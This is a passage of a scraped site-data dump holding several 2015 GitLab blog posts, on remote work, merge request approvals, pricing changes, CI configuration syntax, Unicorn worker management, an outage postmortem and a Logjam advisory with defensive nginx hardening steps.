Logjam","en-us/blog/gitlab-com-and-logjam.yml","en-us/blog/gitlab-com-and-logjam",{"_path":39600,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39601,"content":39607,"config":39610,"_id":39612,"_type":16,"title":39613,"_source":17,"_file":39614,"_stem":39615,"_extension":20},"/en-us/blog/highlights-to-my-first-remote-job",{"title":39602,"description":39603,"ogTitle":39602,"ogDescription":39603,"noIndex":6,"ogImage":39604,"ogUrl":39605,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39605,"schema":39606},"Highlights to my first remote job","I started working with GitLab 2 months ago and it has been quite an interesting experience to work remotely with a team that's spread out in the world.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684436/Blog/Hero%20Images/highlights.jpg","https://about.gitlab.com/blog/highlights-to-my-first-remote-job","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Highlights to my first remote job\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Karen Carías\"}],\n        \"datePublished\": \"2015-06-17\",\n      }",{"title":39602,"description":39603,"authors":39608,"heroImage":39604,"date":39591,"body":39609,"category":6634},[39537],"\n\nSome time ago, GitLab's CEO Sytse wrote [The Remote Manifesto](/blog/the-remote-manifesto/). It inspired me to write about it from an employee's perspective.\n\nI started working with GitLab 2 months ago and it has been quite an interesting experience to work remotely with a team that's spread out in the world.\n\n\u003C!-- more -->\n\nI have been working from home for a while, with freelance jobs, but it was very different to today, that I am part of a remote team. Here are the highlights of my experience with [getting started in an all-remote role](/company/culture/all-remote/getting-started/) so far:\n\n## Learning how to communicate\nIt was hard at the beginning to communicate with my team. I hadn't met them in person and if I had a doubt about something, I had to go to Slack to find the person who seemed the nicest and ask him. I was shy to write people to ask for their help all the time, but I learned that it is \"the way\" to learn and to stay communicated in a remote job. I learned not to be afraid to ask and to provide as much context as I could, trying not to include so many links without information.\n\n## Avoiding interruptions\nSo it is great to have coworkers and being with people, but they usually talk with each other, they are friendly and they get you distracted. I love working from home. I got myself nice headphones and I wear them when I don't want anybody at home to distract me. I think I can focus more and get into my \"zone\" easier.\n\n## Morning calls in my PJs\nThe first few days I would wake up really early to look fresh and dressed up for my morning call with the team. Then, I realized that Hangouts won't show the difference, so I learned to wake up, fix some coffee, sit down and work in my PJs all morning and then have a late shower during a break. It is absolutely comfortable and fun, but it's important to learn to be disciplined. No matter how you look or if you are in bed, you need to get into the mindset of working and have a disciplined productive day.\n\n## It's all about trust before they can see results\nTrust is a strong word and for me, it is what I feel about having a remote job. They trust that I work and that I use my time wisely. I have been learning to be more efficient, but since GitLab is very technical and I've had to learn so much, my speed has been very slowly increasing. I believe they trust that I am putting all my efforts into my job and that even though nobody is next to me looking at me working, I am doing my job. That makes me work more because when somebody trusts you, you don't want to disappoint them\n\n## Find a comfortable place where you can be productive\nI have been traveling for a couple of years and when I started, I would just try to find a comfortable  and cheap place to stay at, close to a yoga studio. Now, I find myself looking for an Airbnb with a good wifi connection and a comfortable desk or table. The rest is second. This is very important for my mental and physical health and I believe it's one of the most important things to make sure you have. If I can't find this, I will look for a co-working space or a working cafe. It is important to be able to sit comfortably and stay connected with no distractions.\n\n## I am able to travel\nThis is my favorite highlight. I used to work in the traditional corporate world, which helped me save some money and start traveling with it. When I was running out of savings, I thought that my travels had to end soon. The fact that I could work remotely was one for the best things that could happen to me, since it allows me to work from anywhere and to see the world. I can also spend quality time with my dog and it lets me take care of her.\n\nSo, are you thinking about applying for a remote job? Do it! It's awesome!\n\nBy the way, in Gitlab we're always [hiring](/jobs/)!\n",{"slug":39611,"featured":6,"template":678},"highlights-to-my-first-remote-job","content:en-us:blog:highlights-to-my-first-remote-job.yml","Highlights To My First Remote Job","en-us/blog/highlights-to-my-first-remote-job.yml","en-us/blog/highlights-to-my-first-remote-job",{"_path":39617,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39618,"content":39623,"config":39627,"_id":39629,"_type":16,"title":39630,"_source":17,"_file":39631,"_stem":39632,"_extension":20},"/en-us/blog/feature-highlight-approve-merge-request",{"title":39619,"description":39620,"ogTitle":39619,"ogDescription":39620,"noIndex":6,"ogImage":12013,"ogUrl":39621,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39621,"schema":39622},"Feature Highlight: Approve Merge Request","With less than a week until GitLab 7.12, we've got a nice preview for you today: Merge Request Approvals in GitLab EE. View more here!","https://about.gitlab.com/blog/feature-highlight-approve-merge-request","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Approve Merge Request\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dmitriy Zaporozhets\"}],\n        \"datePublished\": \"2015-06-16\",\n      }",{"title":39619,"description":39620,"authors":39624,"heroImage":12013,"date":39625,"body":39626,"category":299},[16575],"2015-06-16","\n\nWith less than a week until GitLab 7.12, we've got a nice preview for you today:\nMerge Request Approvals in GitLab EE.\n\nUsually you accept a merge request the moment it is ready and reviewed.\nBut in some cases you want to make sure that every merge request is reviewed\nand signed off by several people before merging it.\nWith GitLab Enterprise Edition 7.12, you can enforce such a workflow\nthat requires multiple reviewers with the new Merge Request Approval feature.\n\n![approve_merge_request](https://about.gitlab.com/images/feature_approval/mr.png)\n\n\u003C!-- more -->\n\nTo enable approvals, go to project settings page and set the\n\"Approvals required\" field to a numeric value. For example, if you set it to `3`\neach merge request has to receive 3 approvals from different people\nbefore it can be merged through the user interface.\n\n![approve_setting](https://about.gitlab.com/images/feature_approval/settings.png)\n\nAfter setting the approval, you will see an `Approve` button on merge requests,\nrather than an `Accept` button. Once the merge request has enough approvals,\nyou will be able to merge it as usual.\n\nWe'd love to hear what you think of this new feature in the comments below.\n",{"slug":39628,"featured":6,"template":678},"feature-highlight-approve-merge-request","content:en-us:blog:feature-highlight-approve-merge-request.yml","Feature Highlight Approve Merge Request","en-us/blog/feature-highlight-approve-merge-request.yml","en-us/blog/feature-highlight-approve-merge-request",{"_path":39634,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39635,"content":39640,"config":39644,"_id":39646,"_type":16,"title":39647,"_source":17,"_file":39648,"_stem":39649,"_extension":20},"/en-us/blog/did-you-install-gitlab-from-source-recently-check-your-git-version",{"title":39636,"description":39637,"ogTitle":39636,"ogDescription":39637,"noIndex":6,"ogImage":12013,"ogUrl":39638,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39638,"schema":39639},"Did you install GitLab from source? Check your Git version","Although the preferred way to install GitLab is to use our omnibus packages, you can also install GitLab Community Edition or Enterprise Edition 'from source'.","https://about.gitlab.com/blog/did-you-install-gitlab-from-source-recently-check-your-git-version","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Did you install GitLab from source? Check your Git version\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2015-06-12\",\n      }",{"title":39636,"description":39637,"authors":39641,"heroImage":12013,"date":39642,"body":39643,"category":299},[15467],"2015-06-12","\n\nAlthough the preferred way to install GitLab is to use our [omnibus\npackages](/install/), you can also install GitLab Community Edition or\nEnterprise Edition 'from source'. If you used this installation method, and if\nyou compiled Git from source in the process then please check whether your Git\nversion defends against Git vulnerability CVE-2014-9390. This issue does not\napply to our Omnibus packages (DEB or RPM).\n\n\u003C!-- more -->\n\nAlthough [GitLab itself is not affected by\nCVE-2014-9390](/blog/gitlab-not-affected-by-cve-2014-9390-git-vulnerability/),\na GitLab server may be used to deliver 'poisoned' Git repositories to users on\nvulnerable systems. Upgrading Git on your GitLab server stops users from\npushing poisoned repositories to your GitLab server.\n\nDue to an oversight, the [guide for installing GitLab from\nsource](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/install/installation.md)\nstill contained instructions telling administrators to install Git 2.1.2 if the\nversion of Git provided by their Linux distribution was too old. Git 2.1.2 does\nnot defend against CVE-2014-9390.\n\nIf your GitLab server uses `/usr/local/bin/git` please check your Git version\nusing the instructions in this [upgrade\nguide](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/update/7.11-to-7.12.md#0-double-check-your-git-version).\n",{"slug":39645,"featured":6,"template":678},"did-you-install-gitlab-from-source-recently-check-your-git-version","content:en-us:blog:did-you-install-gitlab-from-source-recently-check-your-git-version.yml","Did You Install Gitlab From Source Recently Check Your Git Version","en-us/blog/did-you-install-gitlab-from-source-recently-check-your-git-version.yml","en-us/blog/did-you-install-gitlab-from-source-recently-check-your-git-version",{"_path":39651,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39652,"content":39657,"config":39660,"_id":39662,"_type":16,"title":39663,"_source":17,"_file":39664,"_stem":39665,"_extension":20},"/en-us/blog/price-changes",{"title":39653,"description":39654,"ogTitle":39653,"ogDescription":39654,"noIndex":6,"ogImage":12013,"ogUrl":39655,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39655,"schema":39656},"Changes to Enterprise Edition subscription pricing","Today we are announcing two changes to GitLab Enterprise Edition subscription pricing. You can learn more here!","https://about.gitlab.com/blog/price-changes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Changes to Enterprise Edition subscription pricing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haydn Mackay\"}],\n        \"datePublished\": \"2015-06-12\",\n      }",{"title":39653,"description":39654,"authors":39658,"heroImage":12013,"date":39642,"body":39659,"category":299},[39555],"\n\nToday we are announcing two changes to GitLab Enterprise Edition subscription pricing.\nThe changes are intended to better reflect the value of each offering and\nensure our subscription options cater to the needs of different organizations.\n\nIn short, our basic subscription is now $19,10 more expensive, but in 10-user packs.\nOur Plus subscription is now $100 more affordable. Standard and terms remain unchanged.\n\n\u003C!-- more -->\n\nAs of today (June 12, 2015) the following will take affect:\n\n* Basic Subscriptions will cost $390 per year for a 10-user pack ($39 per user / per year).\nCurrent Basic Subscribers will be offered a 25% discount on this new pricing at their next renewal.\nHowever, new pricing will apply to subsequent renewals and any additional user packs.\nBasic subscriptions are now available in 10-user packs, making it slightly more\naffordable for small teams.\n\n* Plus Subscriptions will cost $14,900 for a 100-user pack ($149 per user / per year).\nCurrent Plus subscribers will receive a prorated refund on the price difference.\n\nThere are no changes in the software features or service level of Basic or Plus subscriptions,\nwhich you can view on our [website here](/pricing/).\nStandard Subscription pricing will also remain unchanged at $4,900 per year for\neach 100-user pack ($49 per user / per year).\n\nAll current quotes will be honored until their expiration (60 days from issue date)\nbut the new pricing will apply to any subsequent orders, including renewals.\n\nOur goal is to keep GitLab the most affordable enterprise grade development platform available.\nThese changes should not have any significant effect on our ability to achieve that.\nWe felt our Basic plan was underpriced and Plus plan was overpriced.\nThese changes reduce the price difference between them.\n\nIf you have questions about the changes or about pricing in general,\nplease [contact our sales team](/sales/).\n\n## Update\n\nOriginally we had planned to extend a 25% discount off the new pricing toward existing Basic Subscibers next renewal. However, after careful consideration we decided to keep the old pricing ($398 for a pack of 20 users) in effect for existing Basic Subscribers through June 12, 2016. This also includes any additional subscription packs ordered between now and June 12, 2016.\n\nThe price of the Basic GitLab subscription for our existing customers is therefore still at $19.90 per user, cheaper than the $29.25 per user that we originally proposed above.\n\nAs of June 12, 2016 the new pricing of a Basic Subscription ($390 for a pack of 10 users) will apply to both new and existing subscribers.\n\nIf you have questions about pricing, please [contact our sales team](/sales/).\n",{"slug":39661,"featured":6,"template":678},"price-changes","content:en-us:blog:price-changes.yml","Price Changes","en-us/blog/price-changes.yml","en-us/blog/price-changes",{"_path":39667,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39668,"content":39673,"config":39677,"_id":39679,"_type":16,"title":39680,"_source":17,"_file":39681,"_stem":39682,"_extension":20},"/en-us/blog/implementing-gitlab-ci-dot-yml",{"title":39669,"description":39670,"ogTitle":39669,"ogDescription":39670,"noIndex":6,"ogImage":12013,"ogUrl":39671,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39671,"schema":39672},"Implementing .gitlab-ci.yml","We replacing GitLab CI jobs with a .gitlab-ci.yml and wanted to share the details of that process with you and would love to hear what you think.","https://about.gitlab.com/blog/implementing-gitlab-ci-dot-yml","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Implementing .gitlab-ci.yml\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-06-08\",\n      }",{"title":39669,"description":39670,"authors":39674,"heroImage":12013,"date":39675,"body":39676,"category":734},[36660],"2015-06-08","\n\nWe [wrote] about why we're replacing GitLab CI jobs with a `.gitlab-ci.yml` file.\nAs we've started on implementing this large change, we wanted to share the details\nof that process with you and would love to hear what you think.\n\n\u003C!-- more -->\n\nTo recap the [previous article]:\ncurrently you are required to write out your CI jobs in GitLab CI's interface.\nWe're replacing this with a single file `.gitlab-ci.yml`, that you place in the root\nof your repository.\n\n## Schema change\n\nCurrently, on a push to GitLab, GitLab sends a web-hook to the CI Coordinator.\nThe coordinator creates a build based on the jobs that are defined in its UI,\nwhich can then be executed by the connected Runners.\n\nIn the new schema, GitLab sends the web-hook _and the `.gitlab-ci.yml`_ contents\nto the CI Coordinator, which creates builds based on the yml file. In turn,\nthese builds are executed by the Runners as before.\n\n## Migrating to new style\n\nKeeping two different ways of doing things would be a strain on development and\nsupport, not to mention confusing. So we're not just deprecating the old style\nof defining jobs, we're removing it entirely and will migrate existing jobs.\n\nUpon upgrading your existing jobs defined in the GitLab CI Coordinator will be\nconverted into a YAML file with the new syntax. You can download this file at any\ntime from the project settings.\n\nWhen the GitLab webhook triggers and doesn't transmit the content from `.gitlab-ci.yml`,\nthe coordinator will use the converted YAML file instead.\n\nThis makes migrating to the new style very easy. You can start by simply copy-pasting\nthe contents of the converted YAML file to the root of your repository. Existing projects\nwill continue to build successfully, yet new projects do not have the option to\nuse anything else.\n\n## An example `.gitlab-ci.yml`\n\nTo get an idea of how the `.gitlab-ci.yml` will look, we've prepared an example\nfor a Ruby on Rails project (such as GitLab itself). Of course, this is due to\nchange as we're still working on this.\n\n```\n# Refs to skip\nskip_refs: “deploy*”\n\n# Run before each script\n\n# Refs to skip\nskip_refs: “deploy*”\n\n# Run before each script\nbefore_script:\n  - export PATH=$HOME/bin:/usr/local/bin:/usr/bin:/bin\n  - gem install bundler\n  - cp config/database.yml.mysql config/database.yml\n  - cp config/gitlab.yml.example config/gitlab.yml\n  - touch log/application.log\n  - touch log/test.log\n  - bundle install --without postgres production --jobs $(nproc)\n  - “bundle exec rake db:create RAILS_ENV=test”\n\n# Parallel jobs, each line is a parallel build\njobs:\n  - script: “rake spec”\n    runner: “ruby,postgres”\n    name: “Rspec”\n  - script: “rake spinach”\n    runner: “ruby,mysql”\n    name: “Spinach”\n    tags: true\n    branches: false\n\n# Parallel deploy jobs\non_success:\n  - “cap deploy production”\n  - “cap deploy staging”\n```\n\n\u003Ca id=\"update\">\u003C/a>\n\n## UPDATE\n\nDmitriy and Sytse spend some time thinking about file syntax.\nScripting should be simple and memorable. Thats why we come with better proposal:\n\n```\nbefore_script:\n  - gem install bundler\n  - bundle install\n  - bundle exec rake db:create\n\nrspec:\n  test: \"rake spec\"\n  tags:\n    - ruby\n    - postgres\n  only:\n    - branches\n\nspinach:\n  test: \"rake spinach\"\n  tags:\n    - ruby\n    - mysql\n  except:\n    - tags\n\nstaging:\n  deploy: \"cap deploy stating\"\n  tags:\n    - capistrano\n    - debian\n  except:\n    - stable\n\nproduction:\n  deploy:\n    - cap deploy production\n    - cap notify\n  tags:\n    - capistrano\n    - debian\n  only:\n    - master\n    - /^deploy-.*$/\n```\n\n## Contribute\n\nGitLab is nothing without its community.\nContribute or follow the development in the [GitLab CI repository].\n\n[wrote]: /blog/why-were-replacing-gitlab-ci-jobs-with-gitlab-ci-dot-yml/\n[previous article]: /blog/why-were-replacing-gitlab-ci-jobs-with-gitlab-ci-dot-yml/\n[GitLab CI repository]: https://gitlab.com/gitlab-org/gitlab-ci/commit/c2c9236cde807e98ff9571f8d23ac4def75eb9ba",{"slug":39678,"featured":6,"template":678},"implementing-gitlab-ci-dot-yml","content:en-us:blog:implementing-gitlab-ci-dot-yml.yml","Implementing Gitlab Ci Dot Yml","en-us/blog/implementing-gitlab-ci-dot-yml.yml","en-us/blog/implementing-gitlab-ci-dot-yml",{"_path":39684,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39685,"content":39690,"config":39694,"_id":39696,"_type":16,"title":39697,"_source":17,"_file":39698,"_stem":39699,"_extension":20},"/en-us/blog/how-gitlab-uses-unicorn-and-unicorn-worker-killer",{"title":39686,"description":39687,"ogTitle":39686,"ogDescription":39687,"noIndex":6,"ogImage":12013,"ogUrl":39688,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39688,"schema":39689},"How GitLab uses Unicorn and unicorn-worker-killer","We just wrote some new documentation on how Gitlab uses Unicorn and unicorn-worker-killer, available on doc.gitlab.com. Read here!","https://about.gitlab.com/blog/how-gitlab-uses-unicorn-and-unicorn-worker-killer","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab uses Unicorn and unicorn-worker-killer\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2015-06-05\",\n      }",{"title":39686,"description":39687,"authors":39691,"heroImage":12013,"date":39692,"body":39693,"category":734},[15467],"2015-06-05","\n\nWe just wrote some new documentation on how Gitlab uses Unicorn and\nunicorn-worker-killer, available on [doc.gitlab.com](http://doc.gitlab.com/ce/operations/unicorn.html) but\nalso included below. We would love to hear from the community if you have other\nquestions so we can improve this documentation resource!\n\n\u003C!-- more -->\n\nUpdate 19:29 CEST: made link to doc.gitlab.com more specific.\n\n## Understanding Unicorn and unicorn-worker-killer\n\n### Unicorn\n\nGitLab uses [Unicorn](http://unicorn.bogomips.org/), a pre-forking Ruby web\nserver, to handle web requests (web browsers and Git HTTP clients). Unicorn is\na daemon written in Ruby and C that can load and run a Ruby on Rails\napplication; in our case the Rails application is GitLab Community Edition or\nGitLab Enterprise Edition.\n\nUnicorn has a multi-process architecture to make better use of available CPU\ncores (processes can run on different cores) and to have stronger fault\ntolerance (most failures stay isolated in only one process and cannot take down\nGitLab entirely). On startup, the Unicorn 'master' process loads a clean Ruby\nenvironment with the GitLab application code, and then spawns 'workers' which\ninherit this clean initial environment. The 'master' never handles any\nrequests, that is left to the workers. The operating system network stack\nqueues incoming requests and distributes them among the workers.\n\nIn a perfect world, the master would spawn its pool of workers once, and then\nthe workers handle incoming web requests one after another until the end of\ntime. In reality, worker processes can crash or time out: if the master notices\nthat a worker takes too long to handle a request it will terminate the worker\nprocess with SIGKILL ('kill -9'). No matter how the worker process ended, the\nmaster process will replace it with a new 'clean' process again. Unicorn is\ndesigned to be able to replace 'crashed' workers without dropping user\nrequests.\n\nThis is what a Unicorn worker timeout looks like in `unicorn_stderr.log`. The\nmaster process has PID 56227 below.\n\n```\n[2015-06-05T10:58:08.660325 #56227] ERROR -- : worker=10 PID:53009 timeout (61s > 60s), killing\n[2015-06-05T10:58:08.699360 #56227] ERROR -- : reaped #\u003CProcess::Status: pid 53009 SIGKILL (signal 9)> worker=10\n[2015-06-05T10:58:08.708141 #62538]  INFO -- : worker=10 spawned pid=62538\n[2015-06-05T10:58:08.708824 #62538]  INFO -- : worker=10 ready\n```\n\n### Tunables\n\nThe main tunables for Unicorn are the number of worker processes and the\nrequest timeout after which the Unicorn master terminates a worker process.\nSee the [omnibus-gitlab Unicorn settings\ndocumentation](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/settings/unicorn.md)\nif you want to adjust these settings.\n\n## unicorn-worker-killer\n\nGitLab has memory leaks. These memory leaks manifest themselves in long-running\nprocesses, such as Unicorn workers. (The Unicorn master process is not known to\nleak memory, probably because it does not handle user requests.)\n\nTo make these memory leaks manageable, GitLab comes with the\n[unicorn-worker-killer gem](https://github.com/kzk/unicorn-worker-killer). This\ngem [monkey-patches](http://en.wikipedia.org/wiki/Monkey_patch) the Unicorn\nworkers to do a memory self-check after every 16 requests. If the memory of the\nUnicorn worker exceeds a pre-set limit then the worker process exits. The\nUnicorn master then automatically replaces the worker process.\n\nThis is a robust way to handle memory leaks: Unicorn is designed to handle\nworkers that 'crash' so no user requests will be dropped. The\nunicorn-worker-killer gem is designed to only terminate a worker process _in\nbetween requests_, so no user requests are affected.\n\nThis is what a Unicorn worker memory restart looks like in unicorn_stderr.log.\nYou see that worker 4 (PID 125918) is inspecting itself and decides to exit.\nThe threshold memory value was 254802235 bytes, about 250MB. With GitLab this\nthreshold is a random value between 200 and 250 MB.  The master process (PID\n117565) then reaps the worker process and spawns a new 'worker 4' with PID\n127549.\n\n```\n[2015-06-05T12:07:41.828374 #125918]  WARN -- : #\u003CUnicorn::HttpServer:0x00000002734770>: worker (pid: 125918) exceeds memory limit (256413696 bytes > 254802235 bytes)\n[2015-06-05T12:07:41.828472 #125918]  WARN -- : Unicorn::WorkerKiller send SIGQUIT (pid: 125918) alive: 23 sec (trial 1)\n[2015-06-05T12:07:42.025916 #117565]  INFO -- : reaped #\u003CProcess::Status: pid 125918 exit 0> worker=4\n[2015-06-05T12:07:42.034527 #127549]  INFO -- : worker=4 spawned pid=127549\n[2015-06-05T12:07:42.035217 #127549]  INFO -- : worker=4 ready\n```\n\nOne other thing that stands out in the log snippet above, taken from\nGitlab.com, is that 'worker 4' was serving requests for only 23 seconds. This\nis a normal value for our current GitLab.com setup and traffic.\n\nThe high frequency of Unicorn memory restarts on some GitLab sites can be a\nsource of confusion for administrators. Usually they are a [red\nherring](http://en.wikipedia.org/wiki/Red_herring).\n",{"slug":39695,"featured":6,"template":678},"how-gitlab-uses-unicorn-and-unicorn-worker-killer","content:en-us:blog:how-gitlab-uses-unicorn-and-unicorn-worker-killer.yml","How Gitlab Uses Unicorn And Unicorn Worker Killer","en-us/blog/how-gitlab-uses-unicorn-and-unicorn-worker-killer.yml","en-us/blog/how-gitlab-uses-unicorn-and-unicorn-worker-killer",{"_path":39701,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39702,"content":39707,"config":39711,"_id":39713,"_type":16,"title":39714,"_source":17,"_file":39715,"_stem":39716,"_extension":20},"/en-us/blog/gitlab-dot-com-outage-on-2015-05-29",{"title":39703,"description":39704,"ogTitle":39703,"ogDescription":39704,"noIndex":6,"ogImage":12013,"ogUrl":39705,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39705,"schema":39706},"GitLab.com outage on 2015-05-29","A quick summary of the causes and solutions regarding the GitLab.com outage on 2015-05-29","https://about.gitlab.com/blog/gitlab-dot-com-outage-on-2015-05-29","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com outage on 2015-05-29\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2015-06-04\",\n      }",{"title":39703,"description":39704,"authors":39708,"heroImage":12013,"date":39709,"body":39710,"category":734},[15467],"2015-06-04","\n\nGitLab.com suffered an outage from  2015-05-29 01:00 to 2015-05-29 02:34 (times in UTC).\nIn this blog post we will discuss what happened, why it took so long to recover the service, and what we are doing to reduce the likelihood and impact of such incidents.\n\n\u003C!-- more -->\n\n## Background\n\nGitLab.com is provided and maintained by the team of GitLab B.V., the company behind GitLab.\nOn 2015-05-02 we performed a major infrastructure upgrade, moving GitLab.com from a single server to a small cluster of servers, consisting of a load balancer (running HAproxy), three workers (NGINX/Unicorn/Sidekiq/gitlab-shell) and a backend server (PostgreSQL/Redis/NFS).\nThis new infrastructure configuration improved the responsiveness of GitLab.com, at the expense of having more moving parts.\n\nGitLab.com is backed up using Amazon EBS snapshots.\nTo protect against inconsistent snapshots our backup script 'freezes' the filesystem on the backend server with `fsfreeze` prior to making EBS snapshots, and 'unfreezes' the filesystem immediately after.\n\n## Timeline\n\nItalic comments below are written with the knowledge of hindsight\n\n- 1:00 The GitLab.com backup script is activated by Cron on the backend server.\n  _For unknown reasons, the backup script hangs/crashes before or during the 'unfreeze' of the filesystem holding all user data._\n- 1:07 Our on-call engineer is paged by [Pingdom](http://status.gitlab.com).\n  The on-call engineer tries to diagnose the issue on the worker servers but is unable to diagnose the problem.\n  _The issue was on the backend server, not on the workers._\n- 1:30 The on-call engineer decides to call in more help.\n  The other team members with access and knowledge to resolve the issue are all in Europe at this time, where it is 3:30/4:30am.\n- 1:45 A second engineer in Europe has been woken up and takes the lead on the investigation of the outage.\n  More workers are rebooted because they appear to be stuck.\n  It becomes apparent that the workers cannot mount the NFS share which holds all Git repository data.\n- 1:51 One of the engineers notices that the load on the backend server is more than 150. _A normal value would be less than 5._\n- 2:10 The engineers give up on running commands on the workers to bring the NFS share back, and start investigating the backend server.\n  The engineers discuss whether they should reboot the backend server but they are unsure if it is safe given that this setup is fairly new.\n- 2:21 The engineers reboot the backend server.\n  The reboot is taking a long time.\n  _The AWS 'reboot' command first tries a soft reboot, and only does a hard reboot after a 4-minute timeout.\n  The soft reboot probably hung when it tried to shut down services that were trying to write to the 'frozen' disk._\n- 2:30 The backend server has rebooted and the engineers regain SSH access to it.\n  The worker servers are able to mount the NFS share now but GitLab.com is still not functioning because the Postgres database server is not responding.\n  One of the engineers restarts Postgres on the backend server.\n  _It may have been that Postgres was still busy performing crash recovery._\n- 2:34 Gitlab.com is available again.\n\n## Root causes\n\nAlthough we cannot explain _what_ went wrong with the backup script it is hard to come to another conclusion that _something_ did go wrong with it.\n\nThe length of the outage was caused by insufficient training and documentation for our on-call engineers following the infrastructure upgrade rolled out on May 2nd.\n\n## Next steps\n\nWe have removed the freeze/unfreeze steps from our backup script.\nBecause this (theoretically) increases the risk of occasional corrupt backups we have added a second backup strategy for our SQL data.\nIn the future we would like to have automatical validation of our GitLab.com backups.\n\nThe day before this incident we decided the training was our most important priority.\nWe have started to do regular operations drills in one-on-one sessions with all of our on-call engineers.\n",{"slug":39712,"featured":6,"template":678},"gitlab-dot-com-outage-on-2015-05-29","content:en-us:blog:gitlab-dot-com-outage-on-2015-05-29.yml","Gitlab Dot Com Outage On 2015 05 29","en-us/blog/gitlab-dot-com-outage-on-2015-05-29.yml","en-us/blog/gitlab-dot-com-outage-on-2015-05-29",{"_path":39718,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39719,"content":39724,"config":39728,"_id":39730,"_type":16,"title":39731,"_source":17,"_file":39732,"_stem":39733,"_extension":20},"/en-us/blog/security-advisory-for-logjam-vulnerability",{"title":39720,"description":39721,"ogTitle":39720,"ogDescription":39721,"noIndex":6,"ogImage":12013,"ogUrl":39722,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39722,"schema":39723},"Security advisory for Logjam vulnerability","Find information from GitLab relating to the recently announced Logjam vulnerability which allows an attacker to do a man-in-the-middle attack!","https://about.gitlab.com/blog/security-advisory-for-logjam-vulnerability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Security advisory for Logjam vulnerability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marin Jankovski\"}],\n        \"datePublished\": \"2015-05-21\",\n      }",{"title":39720,"description":39721,"authors":39725,"heroImage":12013,"date":39726,"body":39727,"category":299},[30568],"2015-05-21","\n\nA recently announced [Logjam vulnerability](https://weakdh.org/) allows an attacker to do a man-in-the-middle attack, allowing them to downgrade a TLS connection to 512-bit DH parameters. More details on what that is and means can be [found on openssl blog](https://www.openssl.org/blog/blog/logjam-freak-upcoming-changes/).\n\n\u003C!--more-->\n\n### Impact on GitLab\n\nGitLab is using, by default, up-to-date SSL ciphers:\n\n* `Export Cipher Suites` are not used.\n* `Elliptic-Curve Diffie-Hellman` ciphers are used\n* By default, 1024-bit DH groups are used\n\nThis means that GitLab is safe in principle. When using 1028-bit DH groups there is a small chance that an attacker with nation-state resources could be eavesdropping.\n\nIf you find this insufficient for your GitLab installation, you can generate 2048-bit DH groups and enable the `ssl_dhparam` option in NGINX config.\n\nParams can be generated with:\n\n```bash\nopenssl dhparam -out dhparams.pem 2048\n```\n\nAfter the `dhparams.pem` file has been generated you will need to tell Nginx where the file is located:\n\n#### GitLab installations using omnibus-gitlab packages\n\n*For packages version 7.11.0 and up.*\n\nPlace the `dhparams.pem` file in `/etc/gitlab/ssl/` directory.\n\nIn `/etc/gitlab/gitlab.rb`, enable the following setting:\n\n```ruby\nnginx['ssl_dhparam'] = \"/etc/gitlab/ssl/dhparams.pem\"\n```\n\nand do `sudo gitlab-ctl reconfigure`.\n\nMore information can be [found in the omnibus-gitlab nginx documentation](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/7-11-stable/doc/settings/nginx.md#using-custom-ssl-ciphers).\n\n*Workaround for packages prior to version 7.11.0*\n\nPlace the `dhparams.pem` file in `/etc/gitlab/ssl/` directory.\n\nIn `/etc/gitlab/gitlab.rb`, enable the following setting:\n\n```ruby\nnginx['custom_gitlab_server_config'] = \"ssl_dhparam /etc/gitlab/ssl/dhparams.pem;\\n\"\n```\nand run `sudo gitlab-ctl reconfigure`.\n\n#### GitLab installations from source\n\nPlace the generated `dhparams.pem` in a suitable location, for example `/etc/nginx/ssl/dhparams.pem`.\n\nIn GitLab nginx config find `ssl_dhparam` config and set it to `ssl_dhparam /etc/nginx/ssl/dhparams.pem;`.\n\nReload your nginx config.\n\n### Impact on GitLab.com\n\nGitLab.com is using 1028-bit DH groups. Due to incompatibilities with older Java-based clients we haven't enabled 2048-bit DH params yet as this would prevent some people from using GitLab.com. We are looking into ways to keep a good SSLlabs score and allowing users with older Java-base clients to use GitLab.com.\n\nWe are examining the impact of this and we will update this blog post once we have more 